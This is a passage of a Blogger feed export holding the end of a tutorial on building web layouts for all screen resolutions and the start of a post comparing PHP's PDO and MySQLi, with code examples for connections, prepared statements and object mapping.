&lt;li&gt;The same logic is used for rows (for the height). All the rows                  have a fixed height except for the content row which will scale                  to fit the page. &lt;/li&gt;
&lt;/ul&gt;&lt;h3&gt;Example 2 - Only the Header&lt;/h3&gt;Check this out in &lt;a href=&quot;&quot;&gt;640                x 480&lt;/a&gt;, &lt;a href=&quot;&quot;&gt;800                x 600&lt;/a&gt; and &lt;a href=&quot;&quot;&gt;1024                x 768&lt;/a&gt; resolutions&lt;br /&gt;
&lt;table border=&quot;0&quot; cellpadding=&quot;5&quot; cellspacing=&quot;5&quot; height=&quot;50&quot;&gt;&lt;tbody&gt;
&lt;tr bgcolor=&quot;#003399&quot;&gt;                  &lt;td width=&quot;9%&quot;&gt;                    &lt;div align=&quot;center&quot;&gt;&lt;span style=&quot;color: white; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: small;&quot;&gt;&lt;b&gt;G&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;                 &lt;td width=&quot;9%&quot;&gt;                    &lt;div align=&quot;center&quot;&gt;&lt;span style=&quot;color: white; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: small;&quot;&gt;&lt;b&gt;O&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;                 &lt;td width=&quot;9%&quot;&gt;                    &lt;div align=&quot;center&quot;&gt;&lt;span style=&quot;color: white; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: small;&quot;&gt;&lt;b&gt;D&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;                 &lt;td width=&quot;9%&quot;&gt;                                    &lt;/td&gt;                 &lt;td width=&quot;9%&quot;&gt;                                    &lt;/td&gt;                 &lt;td align=&quot;center&quot; width=&quot;9%&quot;&gt;&lt;span style=&quot;color: white;&quot;&gt;&lt;img height=&quot;1&quot; src=&quot;http://www.entheosweb.com/images/spacer.gif&quot; width=&quot;1&quot; /&gt;&lt;/span&gt;                    &lt;span style=&quot;color: white; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: small;&quot;&gt;&lt;b&gt;W&lt;/b&gt;&lt;/span&gt;                &lt;/td&gt;                 &lt;td width=&quot;9%&quot;&gt;                    &lt;div align=&quot;center&quot;&gt;&lt;span style=&quot;color: white; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: small;&quot;&gt;&lt;b&gt;I&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;                 &lt;td width=&quot;9%&quot;&gt;                    &lt;div align=&quot;center&quot;&gt;&lt;span style=&quot;color: white; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: small;&quot;&gt;&lt;b&gt;T&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;                 &lt;td width=&quot;9%&quot;&gt;                    &lt;div align=&quot;center&quot;&gt;&lt;span style=&quot;color: white; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: small;&quot;&gt;&lt;b&gt;H&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;                 &lt;td width=&quot;9%&quot;&gt;                    &lt;div align=&quot;center&quot;&gt;&lt;span style=&quot;color: white; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: small;&quot;&gt;&lt;b&gt;I&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;                 &lt;td width=&quot;9%&quot;&gt;                    &lt;div align=&quot;center&quot;&gt;&lt;span style=&quot;color: white; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: small;&quot;&gt;&lt;b&gt;                      N&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;               &lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;h3&gt;HTML Code&lt;/h3&gt;&lt;table border=&quot;0&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;                  &lt;td&gt;                    &lt;table border=&quot;0&quot; cellpadding=&quot;5&quot; cellspacing=&quot;0&quot; class=&quot;tablelt&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;                        &lt;td class=&quot;text&quot;&gt; &lt;br /&gt;
&lt;br /&gt;
&lt;table border=&quot;0&quot; cellpadding=&quot;5&quot; cellspacing=&quot;5&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td width=&quot;9%&quot;&gt; &lt;span class=&quot;textbluedk&quot;&gt;(Each                          cell is 9%)&lt;/span&gt;&lt;/td&gt;                     &lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/td&gt;               &lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;h4&gt;Step 5: Insert images and content&lt;/h4&gt;Once you have designed your tables in terms of percentages you need              to insert your images and content. The usual layouts will probably              have a logo which can come on the top left corner and your navigation              buttons in the top right or left navigation bar.              &lt;div class=&quot;text&quot;&gt;For more complex layouts you will need to use background                fills to design your web sites. Remember since you are designing                web sites to fit all resolutions you need to position your images                accordingly (for your header). The easiest principle I follow (if                possible) is to use the top left and right corners for fixed images                and let the middle tile according to the size of the page. &lt;/div&gt;&lt;h4&gt;Step 6: Test your site in all the resolutions &lt;/h4&gt;&lt;div class=&quot;text&quot;&gt;The last step is to test your site in all the resolutions                that are available on your computer. To do this you need to: &lt;/div&gt;&lt;ol class=&quot;text&quot;&gt;&lt;li&gt;Right click on your Desktop and click on &lt;b&gt;Properties&lt;/b&gt;&lt;/li&gt;
&lt;li&gt;Click on the tab &lt;b&gt;Settings &lt;/b&gt;&lt;/li&gt;
&lt;li&gt;Under Desktop area click shift the scale to 800 x 600, 1024x768                  or higher if possible&lt;/li&gt;
&lt;li&gt;Once you have chosen the resolution you want to check the site                  in, click on the&lt;b&gt; Test &lt;/b&gt;&lt;span style=&quot;font-family: Arial,Helvetica,sans-serif; font-size: x-small;&quot;&gt;button&lt;/span&gt;&lt;/li&gt;
&lt;li&gt; If you can see the bitmap clearly you can click on                  &lt;b&gt;Apply&lt;/b&gt;&lt;/li&gt;
&lt;/ol&gt;&lt;div class=&quot;text&quot;&gt;Check your site in all the resolutions and if it is                working fine you&#39;ve successfully designed and developed a web site              for all resolutions. Congratulations!&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://haythamhosney.blogspot.com/feeds/1152729505438205249/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://haythamhosney.blogspot.com/2012/02/designing-websites-for-all-screen.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3138548880507154050/posts/default/1152729505438205249'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3138548880507154050/posts/default/1152729505438205249'/><link rel='alternate' type='text/html' href='http://haythamhosney.blogspot.com/2012/02/designing-websites-for-all-screen.html' title='Designing Websites For All Screen Resolutions'/><author><name>haytham Hosney</name><uri>http://www.blogger.com/profile/08973214026428213555</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3138548880507154050.post-3679040441528905852</id><published>2012-02-26T10:43:00.000-08:00</published><updated>2012-02-26T10:43:35.221-08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="PDO vs. MySQLi: Which Should You Use?"/><title type='text'>PDO vs. MySQLi: Which Should You Use?</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;When accessing a database in PHP, we have two choices: &lt;a href=&quot;http://www.php.net/manual/en/book.mysqli.php&quot; title=&quot;My Structured Query Language Improved&quot;&gt;MySQLi&lt;/a&gt; and &lt;a href=&quot;http://www.php.net/manual/en/book.mysqli.php&quot; title=&quot;PHP Data Objects&quot;&gt;PDO&lt;/a&gt;.  So what should you know before choosing one? The differences, database  support, stability, and performance concerns will be outlined in this  article.&lt;br /&gt;
&lt;span id=&quot;more-24059&quot;&gt;&lt;/span&gt;&lt;br /&gt;
&lt;hr /&gt; &lt;h2&gt;Summary&lt;/h2&gt;&lt;table id=&quot;ex&quot;&gt;&lt;thead&gt;
&lt;tr&gt; &lt;td&gt;&lt;br /&gt;
&lt;/td&gt; &lt;td&gt;     &lt;strong&gt;PDO&lt;/strong&gt;    &lt;/td&gt; &lt;td&gt;     &lt;strong&gt;MySQLi&lt;/strong&gt;    &lt;/td&gt; &lt;/tr&gt;
&lt;/thead&gt; &lt;tbody&gt;
&lt;tr&gt; &lt;td&gt;&lt;strong&gt;Database support&lt;/strong&gt;&lt;/td&gt; &lt;td&gt;12 different drivers&lt;/td&gt; &lt;td&gt;MySQL only&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td&gt;&lt;strong&gt;API&lt;/strong&gt;&lt;/td&gt; &lt;td&gt;OOP&lt;/td&gt; &lt;td&gt;OOP + procedural&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td&gt;&lt;strong&gt;Connection&lt;/strong&gt;&lt;/td&gt; &lt;td&gt;Easy&lt;/td&gt; &lt;td&gt;Easy&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td&gt;&lt;strong&gt;Named parameters&lt;/strong&gt;&lt;/td&gt; &lt;td&gt;Yes&lt;/td&gt; &lt;td&gt;No&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td&gt;&lt;strong&gt;Object mapping&lt;/strong&gt;&lt;/td&gt; &lt;td&gt;Yes&lt;/td&gt; &lt;td&gt;Yes&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td&gt;&lt;strong&gt;Prepared statements &lt;br /&gt;
(client side)&lt;/strong&gt;&lt;/td&gt; &lt;td&gt;Yes&lt;/td&gt; &lt;td&gt;No&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td&gt;&lt;strong&gt;Performance&lt;/strong&gt;&lt;/td&gt; &lt;td&gt;Fast&lt;/td&gt; &lt;td&gt;Fast&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td&gt;&lt;strong&gt;Stored procedures&lt;/strong&gt;&lt;/td&gt; &lt;td&gt;Yes&lt;/td&gt; &lt;td&gt;Yes&lt;/td&gt; &lt;/tr&gt;
&lt;/tbody&gt; &lt;/table&gt;&lt;hr /&gt; &lt;h2&gt;Connection&lt;/h2&gt;It’s a cinch to connect to a database with both of these:&lt;br /&gt;
&lt;div&gt;&lt;div class=&quot;syntaxhighlighter  php&quot; id=&quot;highlighter_8046&quot;&gt;&lt;table border=&quot;0&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;gutter&quot;&gt;&lt;div class=&quot;line number1 index0 alt2&quot;&gt;1&lt;/div&gt;&lt;div class=&quot;line number2 index1 alt1&quot;&gt;2&lt;/div&gt;&lt;div class=&quot;line number3 index2 alt2&quot;&gt;3&lt;/div&gt;&lt;div class=&quot;line number4 index3 alt1&quot;&gt;4&lt;/div&gt;&lt;div class=&quot;line number5 index4 alt2&quot;&gt;5&lt;/div&gt;&lt;div class=&quot;line number6 index5 alt1&quot;&gt;6&lt;/div&gt;&lt;div class=&quot;line number7 index6 alt2&quot;&gt;7&lt;/div&gt;&lt;div class=&quot;line number8 index7 alt1&quot;&gt;8&lt;/div&gt;&lt;div class=&quot;line number9 index8 alt2&quot;&gt;9&lt;/div&gt;&lt;/td&gt;&lt;td class=&quot;code&quot;&gt;&lt;div class=&quot;container&quot;&gt;&lt;div class=&quot;line number1 index0 alt2&quot;&gt;&lt;code class=&quot;php comments&quot;&gt;// PDO&lt;/code&gt;&lt;/div&gt;&lt;div class=&quot;line number2 index1 alt1&quot;&gt;&lt;code class=&quot;php variable&quot;&gt;$pdo&lt;/code&gt; &lt;code class=&quot;php plain&quot;&gt;= &lt;/code&gt;&lt;code class=&quot;php keyword&quot;&gt;new&lt;/code&gt; &lt;code class=&quot;php plain&quot;&gt;PDO(&lt;/code&gt;&lt;code class=&quot;php string&quot;&gt;&quot;mysql:host=localhost;dbname=database&quot;&lt;/code&gt;&lt;code class=&quot;php plain&quot;&gt;, &lt;/code&gt;&lt;code class=&quot;php string&quot;&gt;&#39;username&#39;&lt;/code&gt;&lt;code class=&quot;php plain&quot;&gt;, &lt;/code&gt;&lt;code class=&quot;php string&quot;&gt;&#39;password&#39;&lt;/code&gt;&lt;code class=&quot;php plain&quot;&gt;);&lt;/code&gt;&lt;/div&gt;&lt;div class=&quot;line number3 index2 alt2&quot;&gt;&amp;nbsp;&lt;/div&gt;&lt;div class=&quot;line number4 index3 alt1&quot;&gt;&lt;code class=&quot;php comments&quot;&gt;// mysqli, procedural way&lt;/code&gt;&lt;/div&gt;&lt;div class=&quot;line number5 index4 alt2&quot;&gt;&lt;code class=&quot;php variable&quot;&gt;$mysqli&lt;/code&gt; &lt;code class=&quot;php plain&quot;&gt;= mysqli_connect(&lt;/code&gt;&lt;code class=&quot;php string&quot;&gt;&#39;localhost&#39;&lt;/code&gt;&lt;code class=&quot;php plain&quot;&gt;,&lt;/code&gt;&lt;code class=&quot;php string&quot;&gt;&#39;username&#39;&lt;/code&gt;&lt;code class=&quot;php plain&quot;&gt;,&lt;/code&gt;&lt;code class=&quot;php string&quot;&gt;&#39;password&#39;&lt;/code&gt;&lt;code class=&quot;php plain&quot;&gt;,&lt;/code&gt;&lt;code class=&quot;php string&quot;&gt;&#39;database&#39;&lt;/code&gt;&lt;code class=&quot;php plain&quot;&gt;);&lt;/code&gt;&lt;/div&gt;&lt;div class=&quot;line number6 index5 alt1&quot;&gt;&amp;nbsp;&lt;/div&gt;&lt;div class=&quot;line number7 index6 alt2&quot;&gt;&lt;code class=&quot;php comments&quot;&gt;// mysqli, object oriented way&lt;/code&gt;&lt;/div&gt;&lt;div class=&quot;line number8 index7 alt1&quot;&gt;&lt;code class=&quot;php variable&quot;&gt;$mysqli&lt;/code&gt; &lt;code class=&quot;php plain&quot;&gt;= &lt;/code&gt;&lt;code class=&quot;php keyword&quot;&gt;new&lt;/code&gt; &lt;code class=&quot;php plain&quot;&gt;mysqli(&lt;/code&gt;&lt;code class=&quot;php string&quot;&gt;&#39;localhost&#39;&lt;/code&gt;&lt;code class=&quot;php plain&quot;&gt;,&lt;/code&gt;&lt;code class=&quot;php string&quot;&gt;&#39;username&#39;&lt;/code&gt;&lt;code class=&quot;php plain&quot;&gt;,&lt;/code&gt;&lt;code class=&quot;php string&quot;&gt;&#39;password&#39;&lt;/code&gt;&lt;code class=&quot;php plain&quot;&gt;,&lt;/code&gt;&lt;code class=&quot;php string&quot;&gt;&#39;database&#39;&lt;/code&gt;&lt;code class=&quot;php plain&quot;&gt;);&lt;/code&gt;&lt;/div&gt;&lt;div class=&quot;line number9 index8 alt2&quot;&gt;&lt;code class=&quot;php spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&amp;nbsp;&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;/div&gt;Please note that these connection objects / resources will be considered to exist through the rest of this tutorial. &lt;br /&gt;
&lt;hr /&gt; &lt;h2&gt;API Support&lt;/h2&gt;Both PDO and MySQLi offer an object-oriented API, but MySQLi also  offers a procedural API – which makes it easier for newcomers to  understand. If you are familiar with the native PHP MySQL driver, you  will find migration to the procedural MySQLi interface much easier. On  the other hand, once you master PDO, you can use it with any database  you desire! &lt;br /&gt;
&lt;hr /&gt; &lt;h2&gt;Database Support&lt;/h2&gt;&lt;img alt=&quot;&quot; class=&quot;tutorial_image&quot; src=&quot;http://d2o0t5hpnwv4c1.cloudfront.net/2013_phpvsmysqli/tutorial_3.png&quot; /&gt;&lt;br /&gt;
The core advantage of PDO over MySQLi is in its database driver support. At the time of this writing, &lt;strong&gt;PDO supports 12 different drivers&lt;/strong&gt;, opposed to MySQLi, which supports &lt;strong&gt;MySQL only&lt;/strong&gt;. &lt;br /&gt;
To print a list of all the drivers that PDO currently supports, use the following code: &lt;br /&gt;
&lt;div&gt;&lt;div class=&quot;syntaxhighlighter  php&quot; id=&quot;highlighter_269867&quot;&gt;&lt;table border=&quot;0&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;gutter&quot;&gt;&lt;div class=&quot;line number1 index0 alt2&quot;&gt;1&lt;/div&gt;&lt;/td&gt;&lt;td class=&quot;code&quot;&gt;&lt;div class=&quot;container&quot;&gt;&lt;div class=&quot;line number1 index0 alt2&quot;&gt;&lt;code class=&quot;php plain&quot;&gt;var_dump(PDO::getAvailableDrivers());&lt;/code&gt;&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;/div&gt;What does this mean? Well, in situations when you have to switch your  project to use another database, PDO makes the process transparent. So &lt;em&gt;all you’ll have to do&lt;/em&gt;  is change the connection string and a few queries – if they use any  methods which aren’t supported by your new database. With MySQLi, you  will need to &lt;em&gt;rewrite every chunk of code&lt;/em&gt; – queries included. &lt;br /&gt;
&lt;hr /&gt; &lt;h2&gt;Named Parameters&lt;/h2&gt;This is another important feature that PDO has; binding parameters is &lt;strong&gt;considerably easier&lt;/strong&gt; than using the numeric binding:&lt;br /&gt;
&lt;div&gt;&lt;div class=&quot;syntaxhighlighter  php&quot; id=&quot;highlighter_859704&quot;&gt;&lt;table border=&quot;0&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;gutter&quot;&gt;&lt;div class=&quot;line number1 index0 alt2&quot;&gt;1&lt;/div&gt;&lt;div class=&quot;line number2 index1 alt1&quot;&gt;2&lt;/div&gt;&lt;div class=&quot;line number3 index2 alt2&quot;&gt;3&lt;/div&gt;&lt;div class=&quot;line number4 index3 alt1&quot;&gt;4&lt;/div&gt;&lt;div class=&quot;line number5 index4 alt2&quot;&gt;5&lt;/div&gt;&lt;div class=&quot;line number6 index5 alt1&quot;&gt;6&lt;/div&gt;&lt;div class=&quot;line number7 index6 alt2&quot;&gt;7&lt;/div&gt;&lt;div class=&quot;line number8 index7 alt1&quot;&gt;8&lt;/div&gt;&lt;div class=&quot;line number9 index8 alt2&quot;&gt;9&lt;/div&gt;&lt;/td&gt;&lt;td class=&quot;code&quot;&gt;&lt;div class=&quot;container&quot;&gt;&lt;div class=&quot;line number1 index0 alt2&quot;&gt;&lt;code class=&quot;php variable&quot;&gt;$params&lt;/code&gt; &lt;code class=&quot;php plain&quot;&gt;= &lt;/code&gt;&lt;code class=&quot;php keyword&quot;&gt;array&lt;/code&gt;&lt;code class=&quot;php plain&quot;&gt;(&lt;/code&gt;&lt;code class=&quot;php string&quot;&gt;&#39;:username&#39;&lt;/code&gt; &lt;code class=&quot;php plain&quot;&gt;=&amp;gt; &lt;/code&gt;&lt;code class=&quot;php string&quot;&gt;&#39;test&#39;&lt;/code&gt;&lt;code class=&quot;php plain&quot;&gt;, &lt;/code&gt;&lt;code class=&quot;php string&quot;&gt;&#39;:email&#39;&lt;/code&gt; &lt;code class=&quot;php plain&quot;&gt;=&amp;gt; &lt;/code&gt;&lt;code class=&quot;php variable&quot;&gt;$mail&lt;/code&gt;&lt;code class=&quot;php plain&quot;&gt;, &lt;/code&gt;&lt;code class=&quot;php string&quot;&gt;&#39;:last_login&#39;&lt;/code&gt; &lt;code class=&quot;php plain&quot;&gt;=&amp;gt; time() - 3600);&lt;/code&gt;&lt;/div&gt;&lt;div class=&quot;line number2 index1 alt1&quot;&gt;&amp;nbsp;&lt;/div&gt;&lt;div class=&quot;line number3 index2 alt2&quot;&gt;&lt;code class=&quot;php variable&quot;&gt;$pdo&lt;/code&gt;&lt;code class=&quot;php plain&quot;&gt;-&amp;gt;prepare(&#39;&lt;/code&gt;&lt;/div&gt;&lt;div class=&quot;line number4 index3 alt1&quot;&gt;&lt;code class=&quot;php spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;php plain&quot;&gt;SELECT * FROM users&lt;/code&gt;&lt;/div&gt;&lt;div class=&quot;line number5 index4 alt2&quot;&gt;&lt;code class=&quot;php spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;php plain&quot;&gt;WHERE username = :username&lt;/code&gt;&lt;/div&gt;&lt;div class=&quot;line number6 index5 alt1&quot;&gt;&lt;code class=&quot;php spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;php plain&quot;&gt;AND email = :email&lt;/code&gt;&lt;/div&gt;&lt;div class=&quot;line number7 index6 alt2&quot;&gt;&lt;code class=&quot;php spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;php plain&quot;&gt;AND last_login &amp;gt; :last_login&#39;);&lt;/code&gt;&lt;/div&gt;&lt;div class=&quot;line number8 index7 alt1&quot;&gt;&amp;nbsp;&lt;/div&gt;&lt;div class=&quot;line number9 index8 alt2&quot;&gt;&lt;code class=&quot;php variable&quot;&gt;$pdo&lt;/code&gt;&lt;code class=&quot;php plain&quot;&gt;-&amp;gt;execute(&lt;/code&gt;&lt;code class=&quot;php variable&quot;&gt;$params&lt;/code&gt;&lt;code class=&quot;php plain&quot;&gt;);&lt;/code&gt;&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;/div&gt;…opposed to the MySQLi way:&lt;br /&gt;
&lt;div&gt;&lt;div class=&quot;syntaxhighlighter  php&quot; id=&quot;highlighter_70094&quot;&gt;&lt;table border=&quot;0&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;gutter&quot;&gt;&lt;div class=&quot;line number1 index0 alt2&quot;&gt;1&lt;/div&gt;&lt;div class=&quot;line number2 index1 alt1&quot;&gt;2&lt;/div&gt;&lt;div class=&quot;line number3 index2 alt2&quot;&gt;3&lt;/div&gt;&lt;div class=&quot;line number4 index3 alt1&quot;&gt;4&lt;/div&gt;&lt;div class=&quot;line number5 index4 alt2&quot;&gt;5&lt;/div&gt;&lt;div class=&quot;line number6 index5 alt1&quot;&gt;6&lt;/div&gt;&lt;div class=&quot;line number7 index6 alt2&quot;&gt;7&lt;/div&gt;&lt;div class=&quot;line number8 index7 alt1&quot;&gt;8&lt;/div&gt;&lt;/td&gt;&lt;td class=&quot;code&quot;&gt;&lt;div class=&quot;container&quot;&gt;&lt;div class=&quot;line number1 index0 alt2&quot;&gt;&lt;code class=&quot;php variable&quot;&gt;$query&lt;/code&gt; &lt;code class=&quot;php plain&quot;&gt;= &lt;/code&gt;&lt;code class=&quot;php variable&quot;&gt;$mysqli&lt;/code&gt;&lt;code class=&quot;php plain&quot;&gt;-&amp;gt;prepare(&#39;&lt;/code&gt;&lt;/div&gt;&lt;div class=&quot;line number2 index1 alt1&quot;&gt;&lt;code class=&quot;php spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;php plain&quot;&gt;SELECT * FROM users&lt;/code&gt;&lt;/div&gt;&lt;div class=&quot;line number3 index2 alt2&quot;&gt;&lt;code class=&quot;php spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;php plain&quot;&gt;WHERE username = ?&lt;/code&gt;&lt;/div&gt;&lt;div class=&quot;line number4 index3 alt1&quot;&gt;&lt;code class=&quot;php spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;php plain&quot;&gt;AND email = ?&lt;/code&gt;&lt;/div&gt;&lt;div class=&quot;line number5 index4 alt2&quot;&gt;&lt;code class=&quot;php spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;php plain&quot;&gt;AND last_login &amp;gt; ?&#39;);&lt;/code&gt;&lt;/div&gt;&lt;div class=&quot;line number6 index5 alt1&quot;&gt;&amp;nbsp;&lt;/div&gt;&lt;div class=&quot;line number7 index6 alt2&quot;&gt;&lt;code class=&quot;php variable&quot;&gt;$query&lt;/code&gt;&lt;code class=&quot;php plain&quot;&gt;-&amp;gt;bind_param(&lt;/code&gt;&lt;code class=&quot;php string&quot;&gt;&#39;sss&#39;&lt;/code&gt;&lt;code class=&quot;php plain&quot;&gt;, &lt;/code&gt;&lt;code class=&quot;php string&quot;&gt;&#39;test&#39;&lt;/code&gt;&lt;code class=&quot;php plain&quot;&gt;, &lt;/code&gt;&lt;code class=&quot;php variable&quot;&gt;$mail&lt;/code&gt;&lt;code class=&quot;php plain&quot;&gt;, time() - 3600);&lt;/code&gt;&lt;/div&gt;&lt;div class=&quot;line number8 index7 alt1&quot;&gt;&lt;code class=&quot;php variable&quot;&gt;$query&lt;/code&gt;&lt;code class=&quot;php plain&quot;&gt;-&amp;gt;execute();&lt;/code&gt;&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;/div&gt;The question mark parameter binding might seem shorter, but it isn’t  nearly as flexible as named parameters, due to the fact that the  developer must always &lt;em&gt;keep track of the parameter order&lt;/em&gt;; it feels “hacky” in some circumstances.&lt;br /&gt;
Unfortunately, &lt;strong&gt;MySQLi doesn’t support named parameters&lt;/strong&gt;. &lt;br /&gt;
&lt;hr /&gt; &lt;h2&gt;Object Mapping&lt;/h2&gt;Both PDO and MySQLi can map results to objects. This comes in handy if  you don’t want to use a custom database abstraction layer, but still  want ORM-like behavior. Let’s imagine that we have a &lt;code&gt;User&lt;/code&gt; class with some properties, which match field names from a database. &lt;br /&gt;
&lt;div&gt;&lt;div class=&quot;syntaxhighlighter  php&quot; id=&quot;highlighter_271935&quot;&gt;&lt;table border=&quot;0&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;gutter&quot;&gt;&lt;div class=&quot;line number1 index0 alt2&quot;&gt;1&lt;/div&gt;&lt;div class=&quot;line number2 index1 alt1&quot;&gt;2&lt;/div&gt;&lt;div class=&quot;line number3 index2 alt2&quot;&gt;3&lt;/div&gt;&lt;div class=&quot;line number4 index3 alt1&quot;&gt;4&lt;/div&gt;&lt;div class=&quot;line number5 index4 alt2&quot;&gt;5&lt;/div&gt;&lt;div class=&quot;line number6 index5 alt1&quot;&gt;6&lt;/div&gt;&lt;div class=&quot;line number7 index6 alt2&quot;&gt;7&lt;/div&gt;&lt;div class=&quot;line number8 index7 alt1&quot;&gt;8&lt;/div&gt;&lt;div class=&quot;line number9 index8 alt2&quot;&gt;9&lt;/div&gt;&lt;div class=&quot;line number10 index9 alt1&quot;&gt;10&lt;/div&gt;&lt;/td&gt;&lt;td class=&quot;code&quot;&gt;&lt;div class=&quot;container&quot;&gt;&lt;div class=&quot;line number1 index0 alt2&quot;&gt;&lt;code class=&quot;php keyword&quot;&gt;class&lt;/code&gt; &lt;code class=&quot;php plain&quot;&gt;User {&lt;/code&gt;&lt;/div&gt;&lt;div class=&quot;line number2 index1 alt1&quot;&gt;&lt;code class=&quot;php spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;php keyword&quot;&gt;public&lt;/code&gt; &lt;code class=&quot;php variable&quot;&gt;$id&lt;/code&gt;&lt;code class=&quot;php plain&quot;&gt;;&lt;/code&gt;&lt;/div&gt;&lt;div class=&quot;line number3 index2 alt2&quot;&gt;&lt;code class=&quot;php spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;php keyword&quot;&gt;public&lt;/code&gt; &lt;code class=&quot;php variable&quot;&gt;$first_name&lt;/code&gt;&lt;code class=&quot;php plain&quot;&gt;;&lt;/code&gt;&lt;/div&gt;&lt;div class=&quot;line number4 index3 alt1&quot;&gt;&lt;code class=&quot;php spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;php keyword&quot;&gt;public&lt;/code&gt; &lt;code class=&quot;php variable&quot;&gt;$last_name&lt;/code&gt;&lt;code class=&quot;php plain&quot;&gt;;&lt;/code&gt;&lt;/div&gt;&lt;div class=&quot;line number5 index4 alt2&quot;&gt;&amp;nbsp;&lt;/div&gt;&lt;div class=&quot;line number6 index5 alt1&quot;&gt;&lt;code class=&quot;php spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;php keyword&quot;&gt;public&lt;/code&gt; &lt;code class=&quot;php keyword&quot;&gt;function&lt;/code&gt; &lt;code class=&quot;php plain&quot;&gt;info()&lt;/code&gt;&lt;/div&gt;&lt;div class=&quot;line number7 index6 alt2&quot;&gt;&lt;code class=&quot;php spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;php plain&quot;&gt;{&lt;/code&gt;&lt;/div&gt;&lt;div class=&quot;line number8 index7 alt1&quot;&gt;&lt;code class=&quot;php 